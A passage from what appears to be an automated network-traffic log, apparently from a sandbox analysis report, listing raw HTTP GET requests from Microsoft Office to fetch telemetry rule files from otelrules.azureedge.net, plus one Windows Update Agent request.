Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hdZfxb34K1VdB8v&MD=Of6wc+cb HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
